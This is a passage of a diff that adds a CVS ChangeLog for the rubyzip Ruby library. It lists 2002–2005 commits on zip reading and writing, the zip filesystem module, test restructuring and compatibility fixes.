+	  lib/zip/zipfilesystem.rb, lib/zip/ziprequire.rb, test/.cvsignore,
+	  test/file1.txt, test/file1.txt.deflatedData, test/file2.txt,
+	  test/gentestfiles.rb, test/ioextrastest.rb,
+	  test/notzippedruby.rb, test/rubycode.zip, test/rubycode2.zip,
+	  test/stdrubyexttest.rb, test/testDirectory.bin,
+	  test/zipWithDirs.zip, test/zipfilesystemtest.rb,
+	  test/ziprequiretest.rb, test/ziptest.rb, test/data/.cvsignore,
+	  test/data/file1.txt, test/data/file1.txt.deflatedData,
+	  test/data/file2.txt, test/data/notzippedruby.rb,
+	  test/data/rubycode.zip, test/data/rubycode2.zip,
+	  test/data/testDirectory.bin, test/data/zipWithDirs.zip: Changed
+	  directory structure
+
+2005-02-13 22:44  thomas
+
+	* Rakefile, TODO: [no log message]
+
+2005-02-13 22:38  thomas
+
+	* rubyzip.gemspec: [no log message]
+
+2005-02-13 21:53  thomas
+
+	* install.rb: Made install.rb independent of the current path
+	  (fixes bug reported by Drew Robinson)
+
+2004-12-12 11:22  thomas
+
+	* NEWS, TODO, samples/write_simple.rb: Fixed 'version needed to
+	  extract'-field wrong in local headers
+
+2004-05-02 15:17  thomas
+
+	* rubyzip.gemspec: Added gemspec contributed by Chad Fowler
+
+2004-04-02 07:25  thomas
+
+	* NEWS: Fix for FreeBSD 4.9
+
+2004-03-29 00:28  thomas
+
+	* NEWS: [no log message]
+
+2004-03-28 17:59  thomas
+
+	* NEWS: [no log message]
+
+2004-03-27 16:09  thomas
+
+	* test/stdrubyexttest.rb: Patch for stdrubyext.rb from Nobu Nakada
+
+2004-03-27 15:30  thomas
+
+	* test/: ioextrastest.rb, stdrubyexttest.rb: converted some files
+	  to unix line-endings
+
+2004-03-25 16:34  thomas
+
+	* NEWS, install.rb: Significantly reduced memory footprint when
+	  modifying zip files
+
+2004-03-16 18:20  thomas
+
+	* install.rb, test/alltests.rb, test/ioextrastest.rb,
+	  test/stdrubyexttest.rb, test/ziptest.rb: IO utility classes moved
+	  to new file ioextras.rb. Tests moved to new file ioextrastest.rb
+
+2004-02-27 13:21  thomas
+
+	* NEWS: Optimization to avoid decompression and recompression
+
+2004-01-30 16:17  thomas
+
+	* NEWS: [no log message]
+
+2004-01-30 16:07  thomas
+
+	* README, test/zipfilesystemtest.rb, test/ziptest.rb: Applied
+	  extra-field patch
+
+2003-12-13 16:57  thomas
+
+	* TODO: [no log message]
+
+2003-12-10 00:25  thomas
+
+	* test/ziptest.rb: (Temporary) fix to bug reported by Takashi Sano
+
+2003-08-23 09:42  thomas
+
+	* test/ziptest.rb, NEWS: Fixed ZipFile.get_ouput_stream bug - data
+	  was never written to zip
+
+2003-08-21 16:05  thomas
+
+	* install.rb: [no log message]
+
+2003-08-21 16:01  thomas
+
+	* alltests.rb, stdrubyexttest.rb, zipfilesystemtest.rb,
+	  ziprequiretest.rb, ziptest.rb, test/alltests.rb,
+	  test/stdrubyexttest.rb, test/zipfilesystemtest.rb,
+	  test/ziprequiretest.rb, test/ziptest.rb: Moved all test ruby
+	  files to test/
+
+2003-08-21 15:54  thomas
+
+	* NEWS, install.rb, stdrubyext.rb, stdrubyexttest.rb, zip.rb,
+	  zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb,
+	  ziprequiretest.rb, ziptest.rb, samples/example.rb,
+	  samples/example_filesystem.rb, samples/gtkRubyzip.rb,
+	  samples/zipfind.rb: Moved all production source files to zip/ so
+	  they are in the same dir as when they are installed
+
+2003-08-21 15:31  thomas
+
+	* NEWS, TODO, alltests.rb: [no log message]
+
+2003-08-21 15:26  thomas
+
+	* filearchive.rb, filearchivetest.rb, fileutils.rb: Removed
+	  filearchive.rb, filearchivetest.rb and fileutils.rb
+
+2003-08-21 15:24  thomas
+
+	* samples/.cvsignore, samples/example_filesystem.rb, zip.rb: Added
+	  samples/example_filesystem.rb. Fixed Tempfile creation for
+	  entries created with get_output_stream where entries were in a
+	  subdirectory
+
+2003-08-21 15:15  thomas
+
+	* zip.rb, ziptest.rb: Fixed mkdir bug. ZipFile.mkdir didn't work if
+	  the zipfile doesn't exist already
+
+2003-08-21 15:05  thomas
+
+	* ziptest.rb: [no log message]
+
+2003-08-21 14:53  thomas
+
+	* TODO, zipfilesystemtest.rb: Globbing test placeholder commented
+	  out
+
+2003-08-21 14:32  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsDir.new
+	  and open
+
+2003-08-21 14:19  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented DirFsIterator
+	  and tests
+
+2003-08-20 22:50  thomas
+
+	* NEWS, TODO: [no log message]
+
+2003-08-20 22:45  thomas
+
+	* zipfilesystemtest.rb: [no log message]
+
+2003-08-20 22:44  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsDir.foreach, ZipFsDir.entries now reimplemented in terms of
+	  it
+
+2003-08-20 22:25  thomas
+
+	* README: [no log message]
+
+2003-08-20 18:08  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: [no log message]
+
+2003-08-20 17:30  thomas
+
+	* zipfilesystem.rb: All access from ZipFsFile and ZipFsDir to
+	  ZipFile is now routed through ZipFileNameMapper which has the
+	  single responsibility of mapping entry/filenames
+
+2003-08-20 17:18  thomas
+
+	* alltests.rb, stdrubyext.rb, stdrubyexttest.rb: Added
+	  stdrubyexttest.rb and added test test_select_map
+
+2003-08-20 16:10  thomas
+
+	* zipfilesystem.rb: ZipFsDir was in the wrong module. ZipFileSystem
+	  now has a ctor that creates ZipFsDir and ZipFsFile instances,
+	  instead of creating them lazily. It then passes the dir instance
+	  to the file instance and vice versa
+
+2003-08-20 15:55  thomas
+
+	* zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFsFile.open
+	  honours chdir
+
+2003-08-20 15:39  thomas
+
+	* stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb,
+	  ziptest.rb: Fixed ZipEntry::parent_as_string. Implemented
+	  ZipFsDir.chdir, pwd and entries including test
+
+2003-08-19 15:44  thomas
+
+	* zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsDir.mkdir
+
+2003-08-19 15:07  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsDir.delete (and aliases rmdir and unlink)
+
+2003-08-19 14:33  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Another dummy
+	  implementation and commented out a test for select() which can be
+	  added later
+
+2003-08-18 20:40  thomas
+
+	* ziptest.rb: Honoured 1.8.0 Object.to_a deprecation warning
+
+2003-08-18 20:30  thomas
+
+	* zip.rb, ziptest.rb, samples/example.rb, samples/zipfind.rb:
+	  Converted a few more names to ruby underscore style that I missed
+	  with the automated processing the first time around
+
+2003-08-18 18:39  thomas
+
+	* zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb:
+	  Implemented Zip::ZipFile.get_output_stream
+
+2003-08-17 18:28  thomas
+
+	* README, install.rb, stdrubyext.rb, zipfilesystem.rb,
+	  zipfilesystemtest.rb: Updated README with Documentation section.
+	  Updated install.rb. Fixed three tests that failed on 1.8.0.
+
+2003-08-14 05:40  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Added empty
+	  implementations of atime and ctime
+
+2003-08-13 17:08  thomas
+
+	* simpledist.rb: Moved simpledist to a separate repository called
+	  'misc'
+
+2003-08-13 16:31  thomas
+
+	* NEWS: [no log message]
+
+2003-08-13 16:29  thomas
+
+	* stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb,
+	  ziprequire.rb, ziprequiretest.rb, ziptest.rb, samples/example.rb,
+	  samples/gtkRubyzip.rb, samples/zipfind.rb: Changed all method
+	  names to the ruby convention underscore style
+
+2003-08-13 15:18  thomas
+
+	* alltests.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  a lot more of the stat methods. Mostly with dummy implementations
+	  that return values that indicate that these features aren't
+	  supported
+
+2003-08-13 11:44  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented more methods
+	  and tests in zipfilesystem. Mostly empty methods as permissions
+	  and file types other than files and directories are not supported
+
+2003-08-13 11:29  thomas
+
+	* install.rb, stdrubyext.rb, zip.rb, zipfilesystem.rb,
+	  zipfilesystemtest.rb: Addd file stdrubyext.rb and moved the
+	  modifications to std ruby classes to it. Refactored the ZipFsStat
+	  tests and ZipFsStat. Added Module.forwardMessages and used it to
+	  implement the forwarding of calls in ZipFsStat
+
+2003-08-13 10:39  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Added
+	  Zip::ZipFsFile::ZipFsStat and started implementing it and its
+	  methods
+
+2003-08-13 10:02  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: Updated and
+	  added missing copyright notices
+
+2003-08-13 10:00  thomas
+
+	* zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: zipfilesystem.rb
+	  is becoming big and not everyone will want to use that code.
+	  Therefore zip.rb no longer requires it. Instead you must require
+	  zipfilesystem.rb itself if you want to use it
+
+2003-08-13 09:51  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented dummy
+	  permission test methods
+
+2003-08-13 06:37  thomas
+
+	* TODO, zip.rb, ziptest.rb: Merged from patch from Kristoffer
+	  Lunden. Fixed more 1.8.0 incompatibilites - tests run on 1.8.0
+	  now
+
+2003-08-12 19:18  thomas
+
+	* zip.rb: Get rid of 1.8.0 warning
+
+2003-08-12 19:14  thomas
+
+	* ziptest.rb: ruby 1.8.0 compatibility fix
+
+2003-08-12 19:13  thomas
+
+	* NEWS, zip.rb: ruby-zlib 0.6.0 compatibility fix
+
+2002-12-22 20:12  thomas
+
+	* zip.rb: [no log message]
+
+2002-09-16 22:11  thomas
+
+	* NEWS: [no log message]
+
+2002-09-15 17:16  thomas
+
+	* samples/zipfind.rb: [no log message]
+
+2002-09-15 00:02  thomas
+
+	* samples/zipfind.rb: [no log message]
+
+2002-09-14 22:59  thomas
+
+	* samples/zipfind.rb: Added simple zipfind script
+
+2002-09-13 23:53  thomas
+
+	* TODO: Added TODO about openmode for zip entries binary/ascii
+
+2002-09-13 20:54  thomas
+
+	* NEWS: ziptest now runs without errors with ruby-1.7.2-4 (Andy's
+	  latest build)
+
+2002-09-13 20:51  thomas
+
+	* zip.rb, ziprequiretest.rb, ziptest.rb: ziptest now runs without
+	  errors with ruby-1.7.2-4 (Andy's latest build)
+
+2002-09-12 00:20  thomas
+
+	* zipfilesystemtest.rb: Improved ZipFsFile.delete/unlink test
+
+2002-09-12 00:12  thomas
+
+	* test/.cvsignore: [no log message]
+
+2002-09-12 00:10  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.delete/unlink
+
+2002-09-11 22:22  thomas
+
+	* alltests.rb: [no log message]
+
+2002-09-11 22:18  thomas
+
+	* NEWS, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Fixed
+	  AbstractInputStream.each_line ignored its aSeparator argument.
+	  Implemented more ZipFsFile methods
+
+2002-09-11 21:28  thomas
+
+	* zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFileSystem is
+	  now a module instead of a class, and is mixed into ZipFile,
+	  instead of being made available as a property fileSystem
+
+2002-09-10 23:45  thomas
+
+	* NEWS: Updated NEWS file
+
+2002-09-10 23:26  thomas
+
+	* zip.rb: [no log message]
+
+2002-09-10 22:39  thomas
+
+	* NEWS, zip.rb, ziptest.rb: Fix bug: rewind should reset lineno.
+	  Fix bug: Deflater.read uses separate buffer from produceInput
+	  (feeding gets/readline etc)
+
+2002-09-09 23:48  thomas
+
+	* .cvsignore: [no log message]
+
+2002-09-09 22:55  uid26649
+
+	* zip.rb, ziptest.rb: Implemented ZipInputStream.rewind and
+	  AbstractInputStream.lineno. Tests for both
+
+2002-09-09 20:31  thomas
+
+	* zip.rb, ziptest.rb: ZipInputStream and ZipOutstream (thru their
+	  AbstractInputStream and AbstractOutputStream now lie about being
+	  kind_of?(IO)
+
+2002-09-08 16:38  thomas
+
+	* zipfilesystemtest.rb: [no log message]
+
+2002-09-08 16:07  thomas
+
+	* filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: Moved
+	  String additions from filearchive.rb to zip.rb (and moved tests
+	  along too to ziptest.rb). Added ZipEntry.parentAsString and
+	  ZipEntrySet.parent
+
+2002-09-08 15:28  thomas
+
+	* ziptest.rb: Implemented ZipEntrySetTest.testDup and testCompound
+
+2002-09-08 15:17  thomas
+
+	* TODO, zip.rb, ziptest.rb: Replaced Array with EntrySet for
+	  keeping entries in a zip file. Tagged repository before this
+	  commit, so this change can be rolled back, if it stinks
+
+2002-09-07 20:21  thomas
+
+	* zip.rb, ziptest.rb: Implemented ZipEntry.<=>
+
+2002-09-07 14:48  thomas
+
+	* ziptest.rb: Removed unused code
+
+2002-08-11 15:14  thomas
+
+	* zip.rb, ziptest.rb: Made some changes to accomodate ruby 1.7.2
+
+2002-07-27 15:25  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsFile.new
+
+2002-07-27 00:30  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.pipe
+
+2002-07-27 00:25  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.link
+
+2002-07-27 00:23  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.symlink
+
+2002-07-27 00:20  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.readlink, wrapped ZipFileSystem class in Zip module
+
+2002-07-27 00:14  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.zero?
+
+2002-07-27 00:01  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented test for
+	  ZipFsFile.directory?
+
+2002-07-26 23:56  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.socket?
+
+2002-07-26 23:50  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.join
+
+2002-07-26 23:32  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.ftype
+
+2002-07-26 23:19  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.blockdev?
+
+2002-07-26 23:12  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.size? (slightly different from size)
+
+2002-07-26 23:03  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.split
+
+2002-07-26 23:00  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implemented
+	  ZipFsFile.symlink?
+
+2002-07-26 22:58  thomas
+
+	* alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb:
+	  Implemented ZipFsFile.mtime
+
+2002-07-26 17:08  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: Implement ZipFsFile.file?
+
+2002-07-26 17:06  thomas
+
+	* zip.rb, ziptest.rb: Implemented ZipEntry.file?
+
+2002-07-26 16:57  thomas
+
+	* alltests.rb, filearchive.rb, filearchivetest.rb, zip.rb,
+	  zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb,
+	  ziptest.rb: Implemented ZipFileSystem::ZipFsFile.size
+
+2002-07-26 16:41  thomas
+
+	* zipfilesystem.rb, zipfilesystemtest.rb: [no log message]
+
+2002-07-26 16:40  thomas
+
+	* test/zipWithDirs.zip: Changed zipWithDirs.zip so all the entries
+	  in it have unix file endings
+
+2002-07-26 16:12  thomas
+
+	* alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb:
+	  Started implementing ZipFileSystem
+
+2002-07-26 15:56  thomas
+
+	* test/zipWithDirs.zip: Added a zip file for testing with a
+	  directory structure
+
+2002-07-22 21:40  thomas
+
+	* TODO: [no log message]
+
+2002-07-22 17:49  thomas
+
+	* TODO: [no log message]
+
+2002-07-21 18:20  thomas
+
+	* NEWS: [no log message]
+
+2002-07-21 18:12  thomas
+
+	* TODO: Updated TODO with a refactoring idea for FileArchive
+
+2002-07-21 17:59  thomas
+
+	* filearchive.rb, filearchivetest.rb: Added some FileArchiveAdd
+	  tests and cleaned up some of the FileArchive tests. extract and
+	  add now have individual test fixtures.
+
+2002-07-21 16:02  thomas
+
+	* filearchive.rb, filearchivetest.rb: Added tests for extract
+	  called with regex src arg and Enumerable src arg
+
+2002-07-21 15:37  thomas
+
+	* filearchivetest.rb: Added test for continueOnExistsProc when
+	  extracting from a file archive
+
+2002-07-20 17:13  thomas
+
+	* TODO, filearchivetest.rb, fileutils.rb, ziptest.rb,
+	  test/.cvsignore: Added (failing) tests for FileArchive.add, added
+	  code for creating test files for FileArchive.add tests. Added
+	  fileutils.rb, which is borrowed from ruby 1.7.2
+
+2002-07-20 16:07  thomas
+
+	* filearchive.rb, filearchivetest.rb: [no log message]
+
+2002-07-20 16:05  thomas
+
+	* filearchivetest.rb: Added tests for String extensions
+
+2002-07-20 02:20  thomas
+
+	* alltests.rb, ziprequiretest.rb, ziptest.rb: [no log message]
+
+2002-07-20 00:42  thomas
+
+	* install.rb: [no log message]
+
+2002-07-20 00:42  thomas
+
+	* TODO: Updated TODO
+
+2002-07-20 00:35  thomas
+
+	* filearchive.rb, filearchivetest.rb: All FileArchive.extract tests
+	  run
+
+2002-07-19 23:11  thomas
+
+	* filearchive.rb, filearchivetest.rb: [no log message]
+
+2002-07-19 19:41  thomas
+
+	* filearchivetest.rb: [no log message]
+
+2002-07-19 19:06  thomas
+
+	* filearchive.rb, filearchivetest.rb: [no log message]
+
+2002-07-19 18:48  thomas
+
+	* filearchive.rb, filearchivetest.rb, zip.rb: [no log message]
+
+2002-07-08 13:41  thomas
+
+	* TODO: [no log message]
+
+2002-06-11 19:47  thomas
+
+	* filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: [no log
+	  message]
+
+2002-05-25 00:41  thomas
+
+	* simpledist.rb: Added hackish script for creating dist files
+
+2002-04-30 21:22  thomas
+
+	* TODO: [no log message]
+
+2002-04-30 21:16  thomas
+
+	* filearchive.rb, filearchivetest.rb: [no log message]
+
+2002-04-30 20:40  thomas
+
+	* filearchive.rb, filearchivetest.rb: Improved testing and wrote
+	  some of the skeleton of extract. Still to do: Fix glob, so it
+	  returns a hashmap instead of a list. The map will need to map the
+	  full entry name to the last part of the name (which is only
+	  really interesting for recursively extracted entries, otherwise
+	  it is just the name). Glob.expandPathList should also output
+	  directories with a trailing slash, which is doesn't right now.
+
+2002-04-30 19:52  thomas
+
+	* filearchive.rb, filearchivetest.rb: Implemented the first few
+	  tests for FileArchive
+
+2002-04-24 22:06  thomas
+
+	* ziprequire.rb, ziprequiretest.rb: Appended copyright message to
+	  ziprequire.rb and ziprequiretest.rb
+
+2002-04-24 20:59  thomas
+
+	* zip.rb: Made ZipEntry tolerate invalid dates
+
+2002-04-21 00:57  thomas
+
+	* NEWS, TODO, zip.rb, ziptest.rb: Read and write entry modification
+	  date/time correctly
+
+2002-04-20 02:44  thomas
+
+	* ziprequiretest.rb, test/rubycode2.zip: improved ZipRequireTest
+
+2002-04-20 02:39  thomas
+
+	* ziprequire.rb: Made a warning go away
+
+2002-04-20 02:38  thomas
+
+	* ziprequire.rb, ziprequiretest.rb, test/notzippedruby.rb,
+	  test/rubycode.zip: Fixed a bug in ziprequire. Added
+	  ziprequiretest.rb and test data files
+
+2002-04-19 22:43  thomas
+
+	* zip.rb, ziptest.rb: Added recursion support to Glob module
+
+2002-04-18 21:37  thomas
+
+	* NEWS, TODO, zip.rb, ziptest.rb: Added Glob module and GlobTest
+	  unit test suite. This module provides the functionality to expand
+	  a 'glob pattern' given a list of files - Next step is to use this
+	  module in ZipFile
+
+2002-04-01 22:55  thomas
+
+	* NEWS: [no log message]
+
+2002-04-01 21:16  thomas
+
+	* TODO, zip.rb, ziprequire.rb: Added ziprequire.rb which contains a
+	  proof-of-concept implementation of a require implementation that
+	  can load ruby modules from a zip file. Needs unit tests and
+	  polish.
+
+2002-03-31 01:13  thomas
+
+	* README: [no log message]
+
+2002-03-30 16:14  thomas
+
+	* TODO: [no log message]
+
+2002-03-30 01:52  thomas
+
+	* .cvsignore, README, zip.rb: Added rdoc markup (only #:nodoc:all
+	  modifiers) to zip.rb. Made README 'RDoc compliant'
+
+2002-03-29 23:29  thomas
+
+	* TODO: [no log message]
+
+2002-03-29 23:26  thomas
+
+	* example.rb, samples/.cvsignore, samples/example.rb,
+	  samples/gtkRubyzip.rb: Moved example.rb to samples/. Added
+	  another sample gtkRubyzip.rb
+
+2002-03-29 20:12  thomas
+
+	* NEWS, TODO: [no log message]
+
+2002-03-29 20:06  thomas
+
+	* .cvsignore, file1.txt, file1.txt.deflatedData, testDirectory.bin,
+	  ziptest.rb, test/.cvsignore, test/file1.txt,
+	  test/file1.txt.deflatedData, test/file2.txt,
+	  test/testDirectory.bin: Added test/ directory and moved the
+	  manually created test data files into it. Changed ziptest.rb so
+	  it runs in test/ directory
+
+2002-03-29 19:43  thomas
+
+	* TODO: [no log message]
+
+2002-03-29 18:15  thomas
+
+	* NEWS, zip.rb, ziptest.rb: Don't decompress and recompress zip
+	  entries when changing zip file
+
+2002-03-29 17:50  thomas
+
+	* zip.rb: Performance optimization: Only write new ZipFile, if it
+	  has been changed. The test suite runs in half the time now.
+
+2002-03-28 22:12  thomas
+
+	* TODO: [no log message]
+
+2002-03-23 17:31  thomas
+
+	* TODO: [no log message]
+
+2002-03-22 22:47  thomas
+
+	* NEWS: [no log message]
+
+2002-03-22 22:25  thomas
+
+	* NEWS, TODO: [no log message]
+
+2002-03-22 22:18  thomas
+
+	* ziptest.rb: Found the tests that didn't use blocks to make sure
+	  input streams are closed as soon as they arent used anymore and
+	  got rid of the GC.start
+
+2002-03-22 22:12  thomas
+
+	* ziptest.rb: All tests run on windows ruby 1.6.6
+
+2002-03-22 10:38  thomas
+
+	* zip.rb, ziptest.rb: Windows fixes: Fixed ZipFile.initialize which
+	  needed to open zipfile file in binary mode. Added another
+	  workaround for the return value from File.open(name) where name
+	  is the name of a directory - ruby returns different exceptions in
+	  linux, win/cygwin and windows. A number of tests failed because
+	  in windows you cant delete a file that is open. Fixed by changing
+	  ziptest.rb to use ZipInputStream.getInputStream with blocks a few
+	  places. There is a hack in CommanZipFileFixture.setup where the
+	  GC is explicitly invoked. Should be fixed with blocks instead.
+	  The only currently failing test fails because the test data
+	  creation fails to add a comment to 4entry.zip, because echo eats
+	  the remainder of the line including the pipe character and the
+	  following zip -z 4 entry.zip command
+
+2002-03-21 22:18  thomas
+
+	* NEWS: [no log message]
+
+2002-03-21 22:12  thomas
+
+	* NEWS, README, TODO, install.rb: Added install.rb
+
+2002-03-21 21:45  thomas
+
+	* ziptest.rb: [no log message]
+
+2002-03-21 20:54  thomas
+
+	* NEWS, TODO: [no log message]
+
+2002-03-21 20:34  thomas
+
+	* .cvsignore, TODO, zip.rb, ziptest.rb: Added
+	  test_extractDirectoryExistsAsFileOverwrite and fixed to pass
+
+2002-03-21 20:22  thomas
+
+	* zip.rb, ziptest.rb: Extraction of directory entries is now
+	  supported
+
+2002-03-20 21:59  thomas
+
+	* NEWS: [no log message]
+
+2002-03-20 21:24  thomas
+
+	* COPYING, README, README.txt: Removed COPYING, renamed README.txt
+	  to README. Updated README
+
+2002-03-20 21:18  thomas
+
+	* example.rb: Fixed example.rb added example that shows zip file
+	  manipulation with Zip::ZipFile
+
+2002-03-20 21:00  thomas
+
+	* .cvsignore: [no log message]
+
+2002-03-20 20:56  thomas
+
+	* TODO, zip.rb, ziptest.rb: Directories can now be added (not
+	  recursively, the directory entry itself. Directories are
+	  recognized by a empty entries with a trailing /. The purpose of
+	  storing them explicitly in the zip file is to be able to store
+	  permission and ownership information
+
+2002-03-20 20:08  thomas
+
+	* TODO, zip.rb, ziptest.rb: zip.rb depended on ftools but it was
+	  only included in ziptest.rb
+
+2002-03-20 19:07  thomas
+
+	* zip.rb, ziptest.rb: ZipError is now a subclass of StandardError
+	  instead of RuntimeError. ZipError now has several subclasses.
+
+2002-03-19 22:26  thomas
+
+	* TODO: [no log message]
+
+2002-03-19 22:19  thomas
+
+	* TODO, ziptest.rb: Unit test ZipFile.getInputStream with block
+
+2002-03-19 22:11  thomas
+
+	* TODO, zip.rb, ziptest.rb: Unit test for adding new entry with
+	  name that already exists in archive, and fixed to pass test
+
+2002-03-19 21:40  thomas
+
+	* TODO, zip.rb, ziptest.rb: Added unit tests for rename to existing
+	  entry
+
+2002-03-19 20:42  thomas
+
+	* TODO: [no log message]
+
+2002-03-19 20:40  thomas
+
+	* TODO, zip.rb, ziptest.rb: Unit test calling ZipFile.extract with
+	  block
+
+2002-03-18 21:06  thomas
+
+	* TODO: [no log message]
+
+2002-03-18 21:05  thomas
+
+	* zip.rb, ziptest.rb: ZipFile#commit now reinitializes ZipFile.
+
+2002-03-18 20:42  thomas
+
+	* TODO, zip.rb, ziptest.rb: Refactoring:
+
+	  Collapsed ZipEntry and ZipStreamableZipEntry into ZipEntry.
+
+	  Collapsed BasicZipFile and ZipFile into ZipFile.
+
+2002-03-18 18:05  thomas
+
+	* zip.rb: Removed method that was never called
+
+2002-03-17 22:33  thomas
+
+	* TODO: [no log message]
+
+2002-03-17 22:25  thomas
+
+	* ziptest.rb: Run tests with =true as default
+
+2002-03-17 22:22  thomas
+
+	* NEWS, TODO, zip.rb, ziptest.rb: Now runs with -w switch without
+	  warnings
+
+2002-03-17 21:10  thomas
+
+	* .cvsignore: [no log message]
+
+2002-03-17 21:04  thomas
+
+	* zip.rb, ziptest.rb: Down to one failing test
+
+2002-03-17 20:36  thomas
+
+	* zip.rb, ziptest.rb: [no log message]
+
+2002-03-17 17:22  thomas
+
+	* TODO, zip.rb, ziptest.rb: [no log message]
+
+2002-02-25 19:42  thomas
+
+	* TODO: Added more todos
+
+2002-02-23 15:51  thomas
+
+	* zip.rb: [no log message]
+
+2002-02-23 15:30  thomas
+
+	* zip.rb, ziptest.rb: [no log message]
+
+2002-02-23 14:16  thomas
+
+	* zip.rb, ziptest.rb: [no log message]
+
+2002-02-03 18:47  thomas
+
+	* ziptest.rb: [no log message]
+
+2002-02-02 15:58  thomas
+
+	* example.rb, zip.rb, ziptest.rb: [no log message]
+
+2002-02-02 00:16  thomas
+
+	* .cvsignore: [no log message]
+
+2002-02-02 00:14  thomas
+
+	* example.rb, zip.rb, ziptest.rb: Renamed SimpleZipFile to
+	  BasicZipFile
+
+2002-02-02 00:09  thomas
+
+	* TODO: [no log message]
+
+2002-02-02 00:01  thomas
+
+	* ziptest.rb: More test cases - all of them failing, so now there
+	  are 18 failing test cases. Three more test cases to implement,
+	  then it is time for the production code
+
+2002-02-01 21:49  thomas
+
+	* ziptest.rb: [no log message]
+
+2002-02-01 21:34  thomas
+
+	* ziptest.rb: Also run SimpleZipFile tests for ZipFile.
+
+2002-02-01 20:11  thomas
+
+	* example.rb, zip.rb, ziptest.rb: ZipFile renamed to SimpleZipFile.
+	  The new ZipFile will have many more methods that are useful for
+	  managing archives.
+
+2002-01-29 20:30  thomas
+
+	* TODO: [no log message]
+
+2002-01-26 00:18  thomas
+
+	* NEWS: [no log message]
+
+2002-01-26 00:14  thomas
+
+	* ziptest.rb: In unit test: work around ruby/cygwin weirdness. You
+	  get an Errno::EEXISTS instead of an Errno::EISDIR if you try to
+	  open a file for writing that is a directory.
+
+2002-01-26 00:02  thomas
+
+	* ziptest.rb: Fixed test that failed on windows because of CRLF
+	  line ending
+
+2002-01-25 23:58  thomas
+
+	* ziptest.rb: [no log message]
+
+2002-01-25 23:29  thomas
+
+	* .cvsignore, example.rb, zip.rb: Fixed bug reading from empty
+	  deflated entry in zip file
+
+2002-01-25 23:01  thomas
+
+	* .cvsignore: [no log message]
+
+2002-01-25 22:56  thomas
+
+	* ziptest.rb: [no log message]
+
+2002-01-25 22:51  thomas
+
+	* NEWS, README.txt, zip.rb, ziptest.rb: Zip write support is now
+	  fully functional in the form of ZipOutputStream.
+
+2002-01-25 21:12  thomas
+
+	* zip.rb, ziptest.rb: [no log message]
+
+2002-01-25 20:37  thomas
+
+	* zip.rb, ziptest.rb: [no log message]
+
+2002-01-20 16:00  thomas
+
+	* zip.rb, ziptest.rb: Added Deflater and DeflaterTest.
+
+2002-01-20 00:39  thomas
+
+	* .cvsignore: [no log message]
+
+2002-01-20 00:23  thomas
+
+	* .cvsignore: Added .cvsignore file
+
+2002-01-20 00:09  thomas
+
+	* zip.rb, ziptest.rb: Added ZipEntry.writeCDirEntry and misc minor
+	  fixes
+
+2002-01-19 23:28  thomas
+
+	* example.rb, zip.rb, ziptest.rb: NOTICE: Not all tests run!!
+
+	  ZipOutputStream in progress
+
+	  Wrapped rubyzip in namespace module Zip.
+
+2002-01-17 18:52  thomas
+
+	* ziptest.rb: Fail nicely if the user doesn't have info-zip
+	  compatible zip in the path
+
+2002-01-10 18:02  thomas
+
+	* zip.rb: Adjusted chunk size to 32k after a few perf measurements
+
+2002-01-09 22:10  thomas
+
+	* README.txt: License now same as rubys, not just GPL
+
+2002-01-06 00:19  thomas
+
+	* README.txt: [no log message]
+
+2002-01-05 23:09  thomas
+
+	* NEWS, README.txt: Updated NEWS file
+
+2002-01-05 23:05  thomas
+
+	* README.txt, zip.rb, ziptest.rb, zlib.c.diff: Added tests for
+	  decompressors and a tests for ZipLocalEntry,
